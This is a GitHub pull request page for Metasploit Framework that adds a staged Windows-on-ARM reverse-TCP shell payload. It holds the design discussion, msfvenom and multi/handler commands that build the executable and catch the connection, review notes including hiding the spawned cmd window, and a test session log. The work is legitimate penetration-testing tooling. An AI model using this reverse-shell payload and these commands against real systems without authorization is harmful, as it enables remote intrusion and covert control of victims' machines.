Skip to content

Add windows/aarch64/shell/reverse_tcp staged payload - #21744

Merged
bwatters-r7 merged 6 commits into
rapid7:masterfrom
vinicius-batistella:feature/windows-aarch64-shell-staged-reverse-tcp
Aug 12, 2026
Merged

Add windows/aarch64/shell/reverse_tcp staged payload#21744
bwatters-r7 merged 6 commits into
rapid7:masterfrom
vinicius-batistella:feature/windows-aarch64-shell-staged-reverse-tcp

Conversation

@vinicius-batistella

Copy link
Copy Markdown
Contributor

Closes (or partially addresses) #20385.

Builds on the merged Windows AArch64 work in #21588 (exe / exe-only
dispatch) and #21589 (stageless windows/aarch64/shell_reverse_tcp).

Summary

Adds the first staged Windows on ARM (AArch64) reverse-TCP command-shell
payload pair:

  • Stager windows/aarch64/reverse_tcp — connects back to
    LHOST:LPORT, reads a 4-byte little-endian length, VirtualAllocs RWX,
    recvs the stage, flushes the instruction cache, and jumps to it with
    the socket handle in x0.
  • Stage windows/aarch64/shell — expects that socket in x0
    (convention sockx0), resolves CreateProcessA, and spawns cmd.exe
    with stdin/stdout/stderr redirected via STARTF_USESTDHANDLES.

Same Pattern B assembly style as the merged stageless payload and
osx/aarch64/shell_reverse_tcp: runtime compile_aarch64 with
MOVZ/MOVK immediates interpolated from the datastore (Offsets cannot
patch AArch64 imm bitfields).

Technique

Stager

  • API resolution — PEB walk → InInitializationOrderModuleList
    match kernel32.dll by name length, then Stephen Fewer's classic
    ROR-13 hash lookup against the Export Address Table.
  • Winsock chain
    LoadLibraryA("Ws2_32.dll")
    WSAStartup(MAKEWORD(2,2))
    WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0)
    WSAConnect(s, &sockaddr_in, ...).
  • Stage transportrecv 4-byte LE size → VirtualAlloc(RWX)
    loop recv until full → branch to stage entry with socket in x0.
  • I-cache maintenance — calls kernel32!FlushInstructionCache
    (ROR-13 0x53120980) before the jump. User-space dc cvau / ic ivau
    trap as STATUS_ILLEGAL_INSTRUCTION (0xC000001D) on WoA when
    SCTLR_EL1.UCI is clear; the Win32 API is the portable fix.
  • EXITFUNC dispatcher — used on stager failure paths; hashes
    patched via MOVZ/MOVK the same way as the stageless payload.
    EXITFUNC=none maps to ExitProcess (same rationale as Add windows/aarch64/shell_reverse_tcp payload #21589).

Stage

  • Preserves the socket (mov x22, x0), re-resolves kernel32 /
    CreateProcessA, builds a STARTUPINFOA with
    hStdInput / hStdOutput / hStdError set to the socket, and
    launches "cmd.exe".
  • EXITFUNC dispatcher at the tail (process / thread / none /
    seh), same hash table as the stager.

Length prefix

Stager => { 'RequiresMidstager' => false } so
Msf::Payload::Windows#handle_intermediate_stage sends the standard
4-byte little-endian length before the stage bytes. No custom midstager.

Module options

Name Default Required Description
LHOST yes Listener address (registered via Msf::Handler::ReverseTcp)
LPORT 4444 yes Listener port
EXITFUNC process yes process / thread / none / seh (last is treated as process)

LHOST is validated with Rex::Socket.is_ipv4? before encoding into the
AF_INET sockaddr (IPv6 / hostnames raise ArgumentError). LHOST/LPORT
are encoded into three MOVZ/MOVK immediates inside the stager's
fill_sockaddr path — no offset-based byte patching.

Output size

Piece CachedSize / measured Notes
Stager 716 bytes What msfvenom -f raw emits
Stage 420 bytes Sent by multi/handler after the length
EXE 6656 bytes Via template_aarch64_windows.exe (#21588)

Usage

$ ./msfvenom -p windows/aarch64/shell/reverse_tcp \
             LHOST=192.168.0.164 LPORT=6666 \
             -f exe -o staged.exe
[*] Payload size: 716 bytes
[*] Final size of exe file: 6656 bytes
[*] Saved as: staged.exe

$ ./msfconsole -q -x "use exploit/multi/handler; \
                      set PAYLOAD windows/aarch64/shell/reverse_tcp; \
                      set LHOST 192.168.0.164; set LPORT 6666; run"
[*] Started reverse TCP handler on 192.168.0.164:6666
[*] Sending stage (420 bytes) to 192.168.0.164
[*] Command shell session 1 opened (192.168.0.164:6666 -> 192.168.0.164:xxxxx)

Shell Banner:
Microsoft Windows [Version 10.0.26200.8875]
-----
C:\Users\...\Downloads>

Verification

Tested end-to-end on Windows 11 ARM64 (build 10.0.26200.8875) in a UTM
VM. Staged handler delivered the 420-byte stage and produced an
interactive cmd.exe session (whoami / hostname / ipconfig).
Stageless windows/aarch64/shell_reverse_tcp was re-checked on the same
host as a regression.

  • msfvenom -f raw produces a 716-byte stager
  • msfvenom -f exe produces a runnable PE on Win11 ARM64
  • multi/handler prints Sending stage (420 bytes) and opens a
    shell aarch64/windows session
  • Stage entry preserves socket (mov x22, x0 / f6 03 00 aa)
  • EXITFUNC=process / thread / none all compile (stager + stage)
  • IPv6 / hostname LHOST rejected with /LHOST must be in IPv4 format/
  • Registered in spec/modules/payloads_spec.rb
  • Dedicated stager + stage RSpecs pass
  • tools/dev/msftidy.rb passes
  • rubocop passes on new/changed Ruby files
  • Module loads via use payload/windows/aarch64/shell/reverse_tcp

Notes

Author / License

  • Author: Vinicius Batistella
  • Same MSF_LICENSE as the rest of the framework.

Made with Cursor

Introduce an AArch64 Windows reverse-TCP stager/stage pair so WoA
targets can use multi/handler with a 716-byte stager and 420-byte
cmd.exe stage (sockx0), following the same Pattern B assembly style
as the merged stageless payload.

Co-authored-by: Cursor <cursoragent@cursor.com>

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Adds the first staged Windows-on-ARM (AArch64) reverse TCP command-shell payload pair to Metasploit Framework, enabling windows/aarch64/shell/reverse_tcp to deliver a small stager that downloads and executes a cmd.exe stage over the same socket.

Changes:

  • Added a new AArch64 Windows reverse TCP stager implementation (Msf::Payload::Windows::ReverseTcp_Aarch64) and its stager module.
  • Added a new AArch64 Windows command-shell stage module that expects the socket handle in x0 (sockx0) and spawns cmd.exe.
  • Added documentation and RSpec coverage for the new staged payload (including cached-size consistency registration).

Impact Analysis: isolated change; no meaningful downstream impact identified from diff. (type "custom")

Reviewed changes

Copilot reviewed 7 out of 7 changed files in this pull request and generated no comments.

Show a summary per file
File Description
spec/modules/payloads/stages/windows/aarch64/shell_spec.rb Adds stage-focused RSpecs (size, prologue instruction, EXITFUNC variability).
spec/modules/payloads/stagers/windows/aarch64/reverse_tcp_spec.rb Adds stager-focused RSpecs (size, LHOST/LPORT variability, IPv4 validation).
spec/modules/payloads_spec.rb Registers the new staged payload in the cached-size consistency suite.
modules/payloads/stages/windows/aarch64/shell.rb New staged AArch64 Windows shell stage (CreateProcessA-based cmd.exe spawn, sockx0).
modules/payloads/stagers/windows/aarch64/reverse_tcp.rb New staged AArch64 Windows reverse_tcp stager module wiring (CachedSize/handler/convention).
lib/msf/core/payload/windows/reverse_tcp_aarch64.rb New AArch64 reverse_tcp stager generator (PEB/EAT hashing, recv-length, VirtualAlloc, FlushInstructionCache).
documentation/modules/payload/windows/aarch64/shell/reverse_tcp.md New user documentation for windows/aarch64/shell/reverse_tcp including scenario.

@bwatters-r7 bwatters-r7 added rn-payload-enhancement release notes for enhanced payloads group-review PRs flagged to get a group review during our weekly module hacking meeting. labels Aug 3, 2026
@bwatters-r7 bwatters-r7 moved this from Ready to In Progress in Metasploit Kanban Aug 3, 2026
end

def compile_aarch64(asm_string)
require 'aarch64/parser'

@bwatters-r7 bwatters-r7 Aug 3, 2026

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Question to the group: Should we be tracking this in the Gemfiles?
It is used in both the osx and windows aarch64 payloads.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Oooops; it already is.....

# 0x18 LoadLibraryA 0x20 recv 0x28 WSAStartup
# 0x30 WSASocketA 0x38 WSAConnect 0x48 FlushInstructionCache
# 0x50 sockaddr_in 0x70 WSADATA
<<~ASM

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Now that we have this same code in a few locations I think it makes sense to offload it to a mixin/library?
Specifically, I'm thinking at least the ror13, exitfunk, and block API stuff?

@vinicius-batistella vinicius-batistella Aug 4, 2026

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hey, @bwatters-r7.
Sorry for the delay; I was not sure if the questions were for me.
Anyways, pulled the shared helpers into Msf::Payload::Windows::Aarch64 / Exitfunk_Aarch64 (ror13, compile glue, exitfunk). Wired into the stager, stage, and the stageless shell_reverse_tcp in d691c54.
Additionally, CI on d691c54 is green across all 51 relevant checks. The only red is Meterpreter Acceptance/build / java 8 macos-15-intel; the job failed on a GitHub Actions CreateArtifact upload timeout afterward. Unrelated to these payload changes. Could you kindly re-run just that job?

case value.to_s.downcase
when 'thread'
ror13_hash('ExitThread')
when 'process', '', 'seh'

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Now that I'm looking at it again, why do we not do the same seh tactic here as in x86 and x64? Originally I'd I thought there was an architectural reason, but on another reading, I'm not sure that's the case?
Use SetUnhandledExceptionFilter to disable the handlers, then jump to null for a predictable crash? All that should be do-able in aarch64, I think?

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Added in d691c54. EXITFUNC=seh now follows the x64 tactic: SetUnhandledExceptionFilter(NULL) then br xzr. Validated on Win11 ARM64 — staged sends 416-byte stage with seh (420 with process), inline is 660 bytes, shell works and session closes cleanly on exit.

@bwatters-r7 bwatters-r7 removed the group-review PRs flagged to get a group review during our weekly module hacking meeting. label Aug 4, 2026
Share ror13/compile/exitfunk helpers across the Windows AArch64
payloads, and make EXITFUNC=seh match x64 by clearing the unhandled
exception filter then branching to NULL.

Co-authored-by: Cursor <cursoragent@cursor.com>
@bwatters-r7

Copy link
Copy Markdown
Contributor

@vinicius-batistella everything passing, now, but I probably will not get to this until tomorrow. Thanks so much for the changes; I am thrilled we're slowly adding AARCH64 Windows support!

@vinicius-batistella

vinicius-batistella commented Aug 5, 2026

Copy link
Copy Markdown
Contributor Author

Hey, @bwatters-r7.
No worries, I'm just happy to be able to contribute.
I was thinking about adding a windows/aarch64/meterpreter, but the effort would be enormous; kiwi alone would be a nightmare. It would be fun, but idk. 😓​

str xzr, [x11, #0x60]
mov w0, #0x68
str w0, [x11, #0x00]
mov w0, #0x100

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I noticed that this pops open the cmd window on the remote host. I swapped 0x101 here to try and get the STARTUPINFO struct to tell it to hide, but it still opened for me after this change. I want to see if there's something else we're doing, but I ran out of time today. If you don't get a chance before, I should be able to swing back next week.

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Done in 3b45d47. You also need to set CREATE_NO_WINDOW (0x08000000) on CreateProcessA in order to pop a cmd in hidden mode.
PS: my CI is all broken again.

STARTF_USESHOWWINDOW alone still left a visible cmd/conhost on WoA;
set dwFlags to 0x101 and pass CREATE_NO_WINDOW to CreateProcessA.

Co-authored-by: Cursor <cursoragent@cursor.com>
@bwatters-r7

Copy link
Copy Markdown
Contributor

The only thing still failing is the mettle build/test, which has nothing to do with the PR.

mov x22, x0
sub sp, sp, #0x100
mov x29, sp
find_kernel32:

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Minor: This 50+ line section for walking the PEB and getting the export data is duplicated across this file, reverse_tcp_aarch64, and shell.rb (though from a previous PR). Would it be worthwhile to relocate it to the aarch64 library?

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Sure thing. Moved the PEB walk + find_function block into Msf::Payload::Windows::Aarch64#asm_block_api_aarch64 and reused it from the stager, stage, and stageless single (3349868)

'Platform' => 'win',
'Arch' => ARCH_AARCH64,
'Handler' => Msf::Handler::ReverseTcp,
'Convention' => 'sockx0',

@bwatters-r7 bwatters-r7 Aug 10, 2026

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This does not do what we hope it does, and I think only avoids crashing because we're missing a flag that turns the code on that consumes it...
I need to dig some more to find out the right answer.
Underlying this is a call to

def encode_stage_preserved_registers

The regex there assumes that there will be three alpha characters after sock. This should break that code, or at least render it moot? That said, in order for that code to fire, you'd need to declare this stager with the key PayloadCompat, and we don't, so the code never gets fired, and it does not misunderstand/crash when it gets a register that is not three alpha characters.
I guess that the osx version of this declares it is sockedi compatible, which..... searchers for edi, and since that does not exist in the shellcode, it passes, but also, does not do what I think the author is expecting it to do?
Anyway- TL;DR, my immediate thought is that we should remove this line and bring it to parity with the Linux versions of the payloads, but I'm assuming the Linux version of staged payloads work the same as Windows, and I'm not 100% on that? I need to do a bit more digging here to make sure that this is not going to bite us later.
It may also be we need to change the regex in the stager mixin, but I want to be sure before we do that.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

OK; sorry I ran out of time, was distracted yesterday, and I was wrong.
The socketedi convention is for agreement between stagers and stages, and that's the compatibility we're checking.
Checking for that compatibility is nice, but we don't do it on the Linux side, and on the Windows side, we only have the underlying plumbing to check for compatibility on x86/x86_64 registers.
Since this is not really needed, but is nice, I see no reason to hold this PR up for that. Let's drop the 'Convention' => 'sockx0', because it does not do anything, and then simply not support the check for now, since no one is clambering to use different second stages for this stager.
You're already following the convention here laid down in the osx aarch64, so someday, we should add the underlying code to support the socketx0 convention, but that is not today.

TL;DR, let's drop this line and land this.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

FWIW: #21774

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hey, @bwatters-r7.
Dropped 'Convention' => 'sockx0' from the stager in 8f83a22. And I'm more than happy to help on real sockx0 support later if useful.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks! I'm looking at these rspec failures right now.

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

No worries, thank you.

Move the duplicated find_kernel32/find_function block into the
Windows AArch64 mixin so the stager, stage, and stageless single
reuse one implementation.

Co-authored-by: Cursor <cursoragent@cursor.com>
The stager mixin only preserves sockXXX registers matching three
alpha characters, so sockx0 was a no-op. Remove it per review; real
AArch64 convention support can land separately.

Co-authored-by: Cursor <cursoragent@cursor.com>
Comment thread modules/payloads/stagers/windows/aarch64/reverse_tcp.rb
Co-authored-by: Brendan <bwatters@rapid7.com>
@bwatters-r7

Copy link
Copy Markdown
Contributor

OK; specs passing, tests passing, everything looks good to me. Lemme get a second set of eyes on it for landing.

@bwatters-r7 bwatters-r7 moved this from In Progress to What about Second Review? in Metasploit Kanban Aug 11, 2026
@bwatters-r7

Copy link
Copy Markdown
Contributor
msf payload(windows/aarch64/shell/reverse_tcp) > set lhost 10.5.135.210
lhost => 10.5.135.210
msf payload(windows/aarch64/shell/reverse_tcp) > set lport 4567
lport => 4567
msf payload(windows/aarch64/shell/reverse_tcp) > set verbose true
verbose => true
msf payload(windows/aarch64/shell/reverse_tcp) > generate -f exe -o revtcp_aarch64_4567.exe
[*] Writing 6656 bytes to revtcp_aarch64_4567.exe...
msf payload(windows/aarch64/shell/reverse_tcp) > to_handler
[*] Payload Handler Started as Job 0

[*] Started reverse TCP handler on 10.5.135.210:4567 
msf payload(windows/aarch64/shell/reverse_tcp) > [*] Sending stage (420 bytes) to 10.5.132.152
[*] Command shell session 1 opened (10.5.135.210:4567 -> 10.5.132.152:56085) at 2026-08-11 16:51:53 -0500

msf payload(windows/aarch64/shell/reverse_tcp) > sessions -i -1
[*] Starting interaction with 1...


Shell Banner:
Microsoft Windows [Version 10.0.26200.5670]
-----
          

C:\Users\msfuser\Desktop>systeminfo
systeminfo

Host Name:                     DESKTOP-EKV6R5S
OS Name:                       Microsoft Windows 11 Pro Insider Preview
OS Version:                    10.0.26200 N/A Build 26200
OS Manufacturer:               Microsoft Corporation
OS Configuration:              Standalone Workstation
OS Build Type:                 Multiprocessor Free
Registered Owner:              msfuser
Registered Organization:       N/A
Product ID:                    00330-80000-00000-AA264
Original Install Date:         7/10/2025, 5:06:25 PM
System Boot Time:              8/11/2026, 2:33:15 PM
System Manufacturer:           Microsoft Corporation
System Model:                  Virtual Machine
System Type:                   ARM64-based PC

@dledda-r7 dledda-r7 left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Code looks good. the only thing i would call out is about lib/msf/core/payload/windows/exitfunk_aarch64.rb and lib/msf/core/payload/windows/reverse_tcp_aarch64.rb which should be inside the lib/msf/core/payload/windows/aarch64/ folder if we want to keep standard as lib/msf/core/payload/windows/x64 not a blocker tho. eventually we need to clean that up anyway.

@github-project-automation github-project-automation Bot moved this from What about Second Review? to In Progress in Metasploit Kanban Aug 12, 2026
@bwatters-r7

Copy link
Copy Markdown
Contributor

Code looks good. the only thing i would call out is about lib/msf/core/payload/windows/exitfunk_aarch64.rb and lib/msf/core/payload/windows/reverse_tcp_aarch64.rb which should be inside the lib/msf/core/payload/windows/aarch64/ folder if we want to keep standard as lib/msf/core/payload/windows/x64 not a blocker tho. eventually we need to clean that up anyway.

Ahhhhh; good point!
I've got a separate branch going where I was looking to add the shell AARCH64 payloads to psexec, so that might be the place to make those changes so we can get these payloads in now.
I'm not too far along on it, so @vinicius-batistella if you're looking for another challenge with AARCH64, that would be useful to have. Let me know if you're game for it!

@bwatters-r7
bwatters-r7 merged commit 441f476 into rapid7:master Aug 12, 2026
79 of 80 checks passed
@github-project-automation github-project-automation Bot moved this from In Progress to Done in Metasploit Kanban Aug 12, 2026
@bwatters-r7

Copy link
Copy Markdown
Contributor

Release Notes

Adds Windows AARCH64 staged shell payloads.

@vinicius-batistella

Copy link
Copy Markdown
Contributor Author

Hey, @bwatters-r7.
Thanks for landing this — really appreciate the review and testing!

Happy to help on the follow-up. I don’t see a public branch/PR for the psexec AArch64 work yet; if you’ve pushed it somewhere, point me at it and I’ll pick it up. Otherwise I can start from master and open a new PR.
Whichever is most useful.

Thanks again.

@bwatters-r7

Copy link
Copy Markdown
Contributor

@vinicius-batistella I put up a draft PR: #21779 for the psexec stuff. I have not tested it too deeply, and I have no idea how the CI will take it, so there may be some dragons in there!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

rn-payload-enhancement release notes for enhanced payloads

Projects

Status: Done

Development

Successfully merging this pull request may close these issues.

4 participants